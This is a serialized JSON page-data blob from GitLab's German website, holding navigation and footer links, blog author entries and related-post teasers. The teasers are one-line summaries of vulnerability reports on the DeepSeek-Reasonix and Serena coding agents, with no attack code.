Delivery",{"href":1097,"dataGaLocation":1053,"dataGaName":1098},"/de-de/solutions/agile-delivery/","agile delivery",{"text":1100,"config":1101},"Artefaktverwaltung",{"href":1102,"dataGaLocation":1053,"dataGaName":1103},"/de-de/artifact-central/","artifact management",{"title":1105,"items":1106},"Sicherheit und Governance",[1107,1112,1117,1122],{"text":1108,"config":1109},"Anwendungssicherheitstests",{"href":1110,"dataGaLocation":1053,"dataGaName":1111},"/de-de/solutions/application-security-testing/","application security testing",{"text":1113,"config":1114},"Governance und Compliance",{"href":1115,"dataGaLocation":1053,"dataGaName":1116},"/de-de/solutions/software-compliance/","governance and compliance",{"text":1118,"config":1119},"Secrets-Management",{"href":1120,"dataGaLocation":1053,"dataGaName":1121},"/de-de/gitlab-secrets-manager/","secrets management",{"text":1123,"config":1124},"Lieferkettensicherheit",{"href":1125,"dataGaLocation":1053,"dataGaName":1126},"/de-de/solutions/supply-chain/","supply chain security",{"title":1128,"items":1129},"Kontext und KI",[1130,1135,1140],{"text":1131,"config":1132},"Agentische Orchestrierung",{"href":1133,"dataGaLocation":1053,"dataGaName":1134},"/de-de/gitlab-duo-agent-platform/","agentic orchestration",{"text":1136,"config":1137},"Kontextgraph",{"href":1138,"dataGaLocation":1053,"dataGaName":1139},"/de-de/gitlab-orbit/","context graph",{"text":1141,"config":1142},"Sichtbarkeit und Messung",{"href":1143,"dataGaLocation":1053,"dataGaName":1144},"/de-de/solutions/visibility-measurement/","visibility and measurement",{"config":1146,"title":1149,"text":1150,"link":1151},{"background":1147,"textColor":1148},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1790185102/o7dn32anqcb6z8dgd3as.jpg')","#000","Warum GitLab","Eine Plattform für Schnelligkeit und Kontrolle im gesamten Software-Lebenszyklus.",{"text":1152,"config":1153},"Mehr erfahren",{"href":1154,"dataGaName":1155,"dataGaLocation":1053},"/de-de/why-gitlab/","why gitlab",{"text":1157,"left":271,"config":1158,"menu":1160},"Lösungen",{"dataNavLevelOne":1159},"solutions",{"type":1075,"link":1161,"columns":1165,"feature":1235},{"text":1162,"config":1163},"Alle Lösungen anzeigen",{"href":1164,"dataGaName":1159,"dataGaLocation":1053},"/de-de/solutions/",[1166,1184,1202],{"title":1167,"items":1168},"Ergebnisse",[1169,1174,1179],{"text":1170,"config":1171},"DevOps-Modernisierung",{"href":1172,"dataGaLocation":1053,"dataGaName":1173},"/de-de/assessments/devops-modernization-assessment/","devops modernization",{"text":1175,"config":1176},"Sicherheitsmodernisierung",{"href":1177,"dataGaLocation":1053,"dataGaName":1178},"/de-de/assessments/security-modernization-assessment/","security modernization",{"text":1180,"config":1181},"KI-Modernisierung",{"href":1182,"dataGaLocation":1053,"dataGaName":1183},"/de-de/assessments/ai-modernization-assessment/","ai modernization",{"title":1185,"items":1186},"Nach Größe",[1187,1192,1197],{"text":1188,"config":1189},"Große Unternehmen",{"href":1190,"dataGaLocation":1053,"dataGaName":1191},"/de-de/enterprise/","enterprise",{"text":1193,"config":1194},"Kleine Unternehmen",{"href":1195,"dataGaLocation":1053,"dataGaName":1196},"/de-de/small-business/","small business",{"text":1198,"config":1199},"Start-ups",{"href":1200,"dataGaLocation":1053,"dataGaName":1201},"/de-de/solutions/startups/","startups",{"title":1203,"items":1204},"Branchen",[1205,1210,1215,1220,1225,1230],{"text":1206,"config":1207},"Finanzdienstleistungen",{"href":1208,"dataGaLocation":1053,"dataGaName":1209},"/de-de/solutions/finance/","financial services",{"text":1211,"config":1212},"Öffentlicher Sektor",{"href":1213,"dataGaLocation":1053,"dataGaName":1214},"/de-de/solutions/public-sector/","public sector",{"text":1216,"config":1217},"Telekommunikation",{"href":1218,"dataGaLocation":1053,"dataGaName":1219},"/de-de/solutions/telecommunications/","telecommunications",{"text":1221,"config":1222},"Automobilindustrie",{"href":1223,"dataGaLocation":1053,"dataGaName":1224},"/de-de/solutions/automotive/","automotive",{"text":1226,"config":1227},"Bildungswesen",{"href":1228,"dataGaLocation":1053,"dataGaName":1229},"/de-de/solutions/education/","education",{"text":1231,"config":1232},"Luft- und Raumfahrt",{"href":1233,"dataGaLocation":1053,"dataGaName":1234},"/de-de/solutions/aerospace/","aerospace",{"config":1236,"title":1237,"text":1238,"link":1239},{"background":1147,"textColor":1148},"GitLab-Sicherheitsstandard","Mehr dazu, wie du deine Software Factory stärkst und KI-Agenten Autonomie gewinnen lässt, ohne an Sicherheit einzubüßen.",{"text":1240,"config":1241},"Standard entdecken",{"href":1242,"dataGaName":1243,"dataGaLocation":1053},"/gitlab-security-standard/","gitlab security standard",{"text":1245,"config":1246},"Preise",{"href":1247,"dataGaName":1248,"dataGaLocation":1053,"dataNavLevelOne":1248},"/de-de/pricing/","pricing",{"text":1250,"config":1251,"menu":1253},"Ressourcen",{"dataNavLevelOne":1252},"resources",{"type":1075,"link":1254,"columns":1258,"feature":1315},{"text":1255,"config":1256},"Alle Ressourcen anzeigen",{"href":1257,"dataGaName":1252,"dataGaLocation":1053},"/de-de/resources/",[1259,1287],{"title":1260,"items":1261},"Entdecken",[1262,1267,1272,1277,1282],{"text":1263,"config":1264},"Dokumentation",{"href":1265,"dataGaName":1266,"dataGaLocation":1053},"https://docs.gitlab.com/","docs",{"text":1268,"config":1269},"GitLab University",{"href":1270,"dataGaName":1271,"dataGaLocation":1053},"https://university.gitlab.com/","university",{"text":1273,"config":1274},"Demo-Reihe",{"href":1275,"dataGaName":1276,"dataGaLocation":1053},"/de-de/gitlab-technical-demo-series/","demo series",{"text":1278,"config":1279},"Demo-Hub",{"href":1280,"dataGaName":1281,"dataGaLocation":1053},"/de-de/demo-hub/","demo hub",{"text":1283,"config":1284},"Dienste",{"href":1285,"dataGaName":1286,"dataGaLocation":1053},"/de-de/services/","services",{"title":1288,"items":1289},"Vernetzen",[1290,1295,1300,1305,1310],{"text":1291,"config":1292},"Blog",{"href":1293,"dataGaName":1294,"dataGaLocation":1053},"/de-de/blog/","blog",{"text":1296,"config":1297},"Community",{"href":1298,"dataGaName":1299,"dataGaLocation":1053},"/community/","community",{"text":1301,"config":1302},"Kunden",{"href":1303,"dataGaName":1304,"dataGaLocation":1053},"/de-de/customers/","customers",{"text":1306,"config":1307},"Partner",{"href":1308,"dataGaName":1309,"dataGaLocation":1053},"/de-de/partners/","partners",{"text":1311,"config":1312},"Veranstaltungen",{"href":1313,"dataGaName":1314,"dataGaLocation":1053},"/events/","events",{"config":1316,"title":1317,"text":1318,"link":1319},{"background":1147,"textColor":1148},"Neues bei GitLab","Über die neuesten Funktionen und Verbesserungen auf dem Laufenden bleiben.",{"text":1320,"config":1321},"Aktuelle Nachrichten",{"href":1322,"dataGaName":1323,"dataGaLocation":1053},"/de-de/whats-new/","whats new",{"text":1325,"config":1326,"menu":1328},"Unternehmen",{"dataNavLevelOne":1327},"company",{"type":1075,"columns":1329},[1330],{"items":1331},[1332,1337,1343,1348,1353,1358,1363,1368,1373],{"text":1333,"config":1334},"Über",{"href":1335,"dataGaName":1336,"dataGaLocation":1053},"/de-de/company/","about",{"text":1338,"config":1339,"footerGa":1342},"Karriere",{"href":1340,"dataGaName":1341,"dataGaLocation":1053},"/jobs/","jobs",{"dataGaName":1341},{"text":1344,"config":1345},"Presse",{"href":1346,"dataGaName":1347,"dataGaLocation":1053},"/press/","press",{"text":1349,"config":1350},"Handbuch",{"href":1351,"dataGaName":1352,"dataGaLocation":1053},"https://handbook.gitlab.com/","handbook",{"text":1354,"config":1355},"Geschäftsführung",{"href":1356,"dataGaName":1357,"dataGaLocation":1053},"/company/team/e-group/","leadership",{"text":1359,"config":1360},"Investor Relations",{"href":1361,"dataGaName":1362,"dataGaLocation":1053},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":1364,"config":1365},"Trust Center",{"href":1366,"dataGaName":1367,"dataGaLocation":1053},"/de-de/security/","trust center",{"text":1369,"config":1370},"AI Transparency Center",{"href":1371,"dataGaName":1372,"dataGaLocation":1053},"/de-de/ai-transparency-center/","ai transparency center",{"text":1374,"config":1375},"Newsletter",{"href":1376,"dataGaName":1377,"dataGaLocation":1053},"/company/contact/#contact-forms","newsletter",{"text":1379,"config":1380,"menu":1381},"Kontakt",{"dataNavLevelOne":1327},{"type":1075,"columns":1382},[1383],{"items":1384},[1385,1390,1395],{"text":1386,"config":1387},"Vertrieb kontaktieren",{"href":1388,"dataGaName":1389,"dataGaLocation":1053},"/de-de/sales/","talk to sales",{"text":1391,"config":1392},"Support-Portal",{"href":1393,"dataGaName":1394,"dataGaLocation":1053},"https://support.gitlab.com/hc/en-us","support portal",{"text":1396,"config":1397},"Kundenportal",{"href":1398,"dataGaName":1399,"dataGaLocation":1053},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1401,"login":1402,"suggestions":1409},"Schließen",{"text":1403,"link":1404},"Um Repositorys und Projekte zu durchsuchen, melde dich an bei",{"text":1405,"config":1406},"gitlab.com",{"href":1067,"dataGaName":1407,"dataGaLocation":1408},"search login","search",{"text":1410,"default":1411},"Vorschläge",[1412,1415,1419,1421,1426,1431],{"text":1413,"config":1414},"GitLab Duo Agent Platform",{"href":1133,"dataGaName":1413,"dataGaLocation":1408},{"text":1416,"config":1417},"Codevorschläge (KI)",{"href":1133,"dataGaName":1418,"dataGaLocation":1408},"Code Suggestions (AI)",{"text":1085,"config":1420},{"href":1087,"dataGaName":1085,"dataGaLocation":1408},{"text":1422,"config":1423},"GitLab auf AWS",{"href":1424,"dataGaName":1425,"dataGaLocation":1408},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":1427,"config":1428},"GitLab auf Google Cloud",{"href":1429,"dataGaName":1430,"dataGaLocation":1408},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":1432,"config":1433},"Warum GitLab?",{"href":1154,"dataGaName":1434,"dataGaLocation":1408},"Why GitLab?",{"freeTrial":1436,"mobileIcon":1441,"desktopIcon":1446,"secondaryButton":1449},{"text":1437,"config":1438},"Kostenlos testen",{"href":1439,"dataGaName":1058,"dataGaLocation":1440},"https://gitlab.com/-/trials/new/","nav",{"altText":1442,"config":1443},"GitLab-Symbol",{"src":1444,"dataGaName":1445,"dataGaLocation":1440},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1442,"config":1447},{"src":1448,"dataGaName":1445,"dataGaLocation":1440},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1450,"config":1451},"Erste Schritte",{"href":1452,"dataGaName":1453,"dataGaLocation":1440},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":1455,"mobileIcon":1459,"desktopIcon":1461},{"text":1456,"config":1457},"Mehr über GitLab Duo erfahren",{"href":1133,"dataGaName":1458,"dataGaLocation":1440},"gitlab duo",{"altText":1442,"config":1460},{"src":1444,"dataGaName":1445,"dataGaLocation":1440},{"altText":1442,"config":1462},{"src":1448,"dataGaName":1445,"dataGaLocation":1440},{"button":1464,"mobileIcon":1469,"desktopIcon":1471},{"text":1465,"config":1466},"/Option",{"href":1467,"dataGaName":1468,"dataGaLocation":1440},"#contact","switch",{"altText":1442,"config":1470},{"src":1444,"dataGaName":1445,"dataGaLocation":1440},{"altText":1442,"config":1472},{"src":1473,"dataGaName":1445,"dataGaLocation":1440},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1475,"mobileIcon":1480,"desktopIcon":1482},{"text":1476,"config":1477},"Zurück zur Preisübersicht",{"href":1247,"dataGaName":1478,"dataGaLocation":1440,"icon":1479},"back to pricing","GoBack",{"altText":1442,"config":1481},{"src":1444,"dataGaName":1445,"dataGaLocation":1440},{"altText":1442,"config":1483},{"src":1448,"dataGaName":1445,"dataGaLocation":1440},{"title":1485,"button":1486,"config":1489},"GitLab Orbit ist da: die Kontextebene für KI-Agenten",{"text":1152,"config":1487},{"href":1138,"dataGaName":1488,"dataGaLocation":1053},"orbit",{"layout":1490,"disabled":1034},"release",{"data":1492},{"text":1493,"source":1494,"edit":1500,"contribute":1505,"config":1510,"items":1515,"minimal":1737},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":1495,"config":1496},"Quelltext der Seite anzeigen",{"href":1497,"dataGaName":1498,"dataGaLocation":1499},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1501,"config":1502},"Diese Seite bearbeiten",{"href":1503,"dataGaName":1504,"dataGaLocation":1499},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1506,"config":1507},"Beteilige dich",{"href":1508,"dataGaName":1509,"dataGaLocation":1499},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1511,"facebook":1512,"youtube":1513,"linkedin":1514},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1516,1561,1619,1662,1704],{"title":1245,"links":1517,"subMenu":1532},[1518,1522,1527],{"text":1519,"config":1520},"Tarife anzeigen",{"href":1247,"dataGaName":1521,"dataGaLocation":1499},"view plans",{"text":1523,"config":1524},"Vorteile von Premium",{"href":1525,"dataGaName":1526,"dataGaLocation":1499},"/de-de/pricing/premium/","why premium",{"text":1528,"config":1529},"Vorteile von Ultimate",{"href":1530,"dataGaName":1531,"dataGaLocation":1499},"/de-de/pricing/ultimate/","why ultimate",[1533],{"title":1379,"links":1534},[1535,1537,1539,1541,1546,1551,1556],{"text":1386,"config":1536},{"href":1388,"dataGaName":1063,"dataGaLocation":1499},{"text":1391,"config":1538},{"href":1393,"dataGaName":1394,"dataGaLocation":1499},{"text":1396,"config":1540},{"href":1398,"dataGaName":1399,"dataGaLocation":1499},{"text":1542,"config":1543},"Status",{"href":1544,"dataGaName":1545,"dataGaLocation":1499},"https://status.gitlab.com/","status",{"text":1547,"config":1548},"Nutzungsbedingungen",{"href":1549,"dataGaName":1550,"dataGaLocation":1499},"/terms/","terms of use",{"text":1552,"config":1553},"Datenschutzerklärung",{"href":1554,"dataGaName":1555,"dataGaLocation":1499},"/de-de/privacy/","privacy statement",{"text":1557,"config":1558},"Cookie-Einstellungen",{"dataGaName":1559,"dataGaLocation":1499,"id":1560,"isOneTrustButton":271},"cookie preferences","ot-sdk-btn",{"title":1071,"links":1562,"subMenu":1576},[1563,1566,1568,1570,1572,1574],{"text":1564,"config":1565},"Plattform entdecken",{"href":1079,"dataGaName":1073,"dataGaLocation":1499},{"text":1131,"config":1567},{"href":1133,"dataGaName":1134,"dataGaLocation":1499},{"text":1085,"config":1569},{"href":1087,"dataGaName":1088,"dataGaLocation":1499},{"text":1136,"config":1571},{"href":1138,"dataGaName":1139,"dataGaLocation":1499},{"text":1118,"config":1573},{"href":1120,"dataGaName":1121,"dataGaLocation":1499},{"text":1149,"config":1575},{"href":1154,"dataGaName":1155,"dataGaLocation":1499},[1577],{"title":1578,"links":1579},"Themen",[1580,1584,1589,1594,1599,1604,1609,1614],{"text":1085,"config":1581},{"href":1582,"dataGaName":1583,"dataGaLocation":1499},"/de-de/topics/ci-cd/","cicd",{"text":1585,"config":1586},"GitOps",{"href":1587,"dataGaName":1588,"dataGaLocation":1499},"/de-de/topics/gitops/","gitops",{"text":1590,"config":1591},"DevOps",{"href":1592,"dataGaName":1593,"dataGaLocation":1499},"/de-de/topics/devops/","devops",{"text":1595,"config":1596},"Versionskontrolle",{"href":1597,"dataGaName":1598,"dataGaLocation":1499},"/de-de/topics/version-control/","version control",{"text":1600,"config":1601},"DevSecOps",{"href":1602,"dataGaName":1603,"dataGaLocation":1499},"/de-de/topics/devsecops/","devsecops",{"text":1605,"config":1606},"Cloud-nativ",{"href":1607,"dataGaName":1608,"dataGaLocation":1499},"/de-de/topics/cloud-native/","cloud native",{"text":1610,"config":1611},"KI für das Programmieren",{"href":1612,"dataGaName":1613,"dataGaLocation":1499},"/de-de/topics/devops/ai-for-coding/","ai for coding",{"text":1615,"config":1616},"Agentische KI",{"href":1617,"dataGaName":1618,"dataGaLocation":1499},"/de-de/topics/agentic-ai/","agentic ai",{"title":1157,"links":1620},[1621,1623,1625,1627,1629,1631,1633,1635,1637,1639,1642,1645,1647,1650,1654,1658],{"text":1170,"config":1622},{"href":1172,"dataGaName":1173,"dataGaLocation":1499},{"text":1175,"config":1624},{"href":1177,"dataGaName":1178,"dataGaLocation":1499},{"text":1180,"config":1626},{"href":1182,"dataGaName":1183,"dataGaLocation":1499},{"text":1206,"config":1628},{"href":1208,"dataGaName":1209,"dataGaLocation":1499},{"text":1211,"config":1630},{"href":1213,"dataGaName":1214,"dataGaLocation":1499},{"text":1216,"config":1632},{"href":1218,"dataGaName":1219,"dataGaLocation":1499},{"text":1221,"config":1634},{"href":1223,"dataGaName":1224,"dataGaLocation":1499},{"text":1226,"config":1636},{"href":1228,"dataGaName":1229,"dataGaLocation":1499},{"text":1231,"config":1638},{"href":1233,"dataGaName":1234,"dataGaLocation":1499},{"text":1640,"config":1641},"Enterprise",{"href":1190,"dataGaName":1191,"dataGaLocation":1499},{"text":1643,"config":1644},"Kleinunternehmen",{"href":1195,"dataGaName":1196,"dataGaLocation":1499},{"text":1198,"config":1646},{"href":1200,"dataGaName":1201,"dataGaLocation":1499},{"text":1585,"config":1648},{"href":1649,"dataGaName":1588,"dataGaLocation":1499},"/de-de/solutions/gitops/",{"text":1651,"config":1652},"Analyse der Softwarezusammensetzung (SCA)",{"href":1125,"dataGaName":1653,"dataGaLocation":1499},"software composition analysis",{"text":1655,"config":1656},"Wertstrommanagement",{"href":1143,"dataGaName":1657,"dataGaLocation":1499},"value stream management",{"text":1659,"config":1660},"Alle Lösungen",{"href":1164,"dataGaName":1661,"dataGaLocation":1499},"all solutions",{"title":1250,"links":1663},[1664,1669,1674,1676,1678,1680,1682,1684,1686,1688,1691,1693,1695,1697,1700],{"text":1665,"config":1666},"Installieren",{"href":1667,"dataGaName":1668,"dataGaLocation":1499},"/de-de/install/","install",{"text":1670,"config":1671},"Kurzanleitungen",{"href":1672,"dataGaName":1673,"dataGaLocation":1499},"/de-de/get-started/","quick setup checklists",{"text":1263,"config":1675},{"href":1265,"dataGaName":1266,"dataGaLocation":1499},{"text":1268,"config":1677},{"href":1270,"dataGaName":1271,"dataGaLocation":1499},{"text":1273,"config":1679},{"href":1275,"dataGaName":1276,"dataGaLocation":1499},{"text":1278,"config":1681},{"href":1280,"dataGaName":1281,"dataGaLocation":1499},{"text":1283,"config":1683},{"href":1285,"dataGaName":1286,"dataGaLocation":1499},{"text":1291,"config":1685},{"href":1293,"dataGaName":1294,"dataGaLocation":1499},{"text":1296,"config":1687},{"href":1298,"dataGaName":1299,"dataGaLocation":1499},{"text":1689,"config":1690},"Kund(inn)en",{"href":1303,"dataGaName":1304,"dataGaLocation":1499},{"text":1306,"config":1692},{"href":1308,"dataGaName":1309,"dataGaLocation":1499},{"text":1311,"config":1694},{"href":1313,"dataGaName":1314,"dataGaLocation":1499},{"text":1374,"config":1696},{"href":1376,"dataGaName":1377,"dataGaLocation":1499},{"text":1698,"config":1699},"Neuerungen",{"href":1322,"dataGaName":1323,"dataGaLocation":1499},{"text":1701,"config":1702},"Alle Ressourcen",{"href":1257,"dataGaName":1703,"dataGaLocation":1499},"all resources",{"title":1325,"links":1705},[1706,1708,1710,1712,1714,1716,1718,1720,1722,1727,1732],{"text":1333,"config":1707},{"href":1335,"dataGaName":1327,"dataGaLocation":1499},{"text":1338,"config":1709},{"href":1340,"dataGaName":1341,"dataGaLocation":1499},{"text":1344,"config":1711},{"href":1346,"dataGaName":1347,"dataGaLocation":1499},{"text":1349,"config":1713},{"href":1351,"dataGaName":1352,"dataGaLocation":1499},{"text":1354,"config":1715},{"href":1356,"dataGaName":1357,"dataGaLocation":1499},{"text":1359,"config":1717},{"href":1361,"dataGaName":1362,"dataGaLocation":1499},{"text":1364,"config":1719},{"href":1366,"dataGaName":1367,"dataGaLocation":1499},{"text":1369,"config":1721},{"href":1371,"dataGaName":1372,"dataGaLocation":1499},{"text":1723,"config":1724},"Nachhaltigkeit",{"href":1725,"dataGaName":1726,"dataGaLocation":1499},"/sustainability/","Sustainability",{"text":1728,"config":1729},"Vielfalt, Inklusion und Zugehörigkeit",{"href":1730,"dataGaName":1731,"dataGaLocation":1499},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1733,"config":1734},"Transparenzerklärung zu moderner Sklaverei",{"href":1735,"dataGaName":1736,"dataGaLocation":1499},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1738},[1739,1742,1745],{"text":1740,"config":1741},"Terms",{"href":1549,"dataGaName":1550,"dataGaLocation":1499},{"text":1743,"config":1744},"Cookies",{"dataGaName":1559,"dataGaLocation":1499,"id":1560,"isOneTrustButton":271},{"text":1746,"config":1747},"Datenschutz",{"href":1554,"dataGaName":1555,"dataGaLocation":1499},[1749,1762],{"id":1750,"title":7,"body":1033,"config":1751,"content":1753,"description":1033,"extension":1756,"meta":1757,"navigation":271,"path":1758,"seo":1759,"stem":1760,"__hash__":1761},"blogAuthors/en-us/blog/authors/abisheik-magesh.yml",{"template":1752},"BlogAuthor",{"name":7,"config":1754},{"headshot":1755},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1787000354/gmgyvfesrvwdlvt52gdw.png","yml",{},"/en-us/blog/authors/abisheik-magesh",{},"en-us/blog/authors/abisheik-magesh","kPev_Acm8MB5tgKMnU_Rkfq1sl42e8DixU6iNMXXfxI",{"id":1763,"title":8,"body":1033,"config":1764,"content":1766,"description":1033,"extension":1756,"meta":1769,"navigation":271,"path":1770,"seo":1771,"stem":1772,"__hash__":1773},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":1752,"gitlabHandle":1765},"dabeles",{"name":8,"config":1767},{"headshot":1768},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[1775,1781,1787],{"title":1776,"description":1777,"heroImage":1035,"category":1029,"date":1778,"authors":1779,"slug":1780,"externalUrl":1033},"Kritische Codeausführung in DeepSeek-Reasonix mittels präparierter Git-Konfiguration","Warum Coding-Agenten der Git-Konfiguration fremder Repositorys nicht vertrauen sollten, zeigt eine kritische Lücke in DeepSeek-Reasonix.","2026-10-02",[7,8],"deepseek-reasonix-vulnerability-discovered",{"title":1782,"description":1783,"heroImage":1035,"category":1029,"date":1784,"authors":1785,"slug":1786,"externalUrl":1033},"Kritische RCE-Schwachstelle in Serena, einem beliebten MCP-Coding-Agenten","Die Threat Research Group von GitLab hat in Serena eine kritische Template Injection gefunden, die beim Öffnen eines Repositorys fremden Code ausführt.","2026-08-17",[8,7],"critical-rce-in-serena",{"title":1788,"description":1789,"heroImage":1790,"category":1029,"date":1791,"authors":1792,"slug":1794,"externalUrl":1033},"Detection-Tests mit GitLab CI/CD und Duo automatisieren","Wie das Signals-Engineering-Team von GitLab das WATCH-Framework gebaut hat, um die eigene Security-Monitoring-Pipeline fortlaufend zu validieren.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-08-14",[1793],"Evan Baltman","automated-detection-testing-framework",{"header":1796,"text":1797,"button":1801,"disclaimer":1804},"Kostenlose 30-tägige\n\nGitLab-Testversion starten\n",[1798,1799,1800],"GitLab Duo Agent Platform nutzen","Unsere fortschrittlichsten Funktionen ausprobieren","Komplexe Aufgaben mit KI automatisieren",{"text":1437,"config":1802},{"href":1803,"dataGaName":1058,"dataGaLocation":1294},"https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/blog/","Keine Kreditkarte erforderlich.",{"header":1806,"blurb":1807,"button":1808,"secondaryButton":1813},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":1809,"config":1810},"Kostenlosen Test starten",{"href":1811,"dataGaName":1058,"dataGaLocation":1812},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/","feature",{"text":1386,"config":1814},{"href":1388,"dataGaName":1063,"dataGaLocation":1812},1791944913857]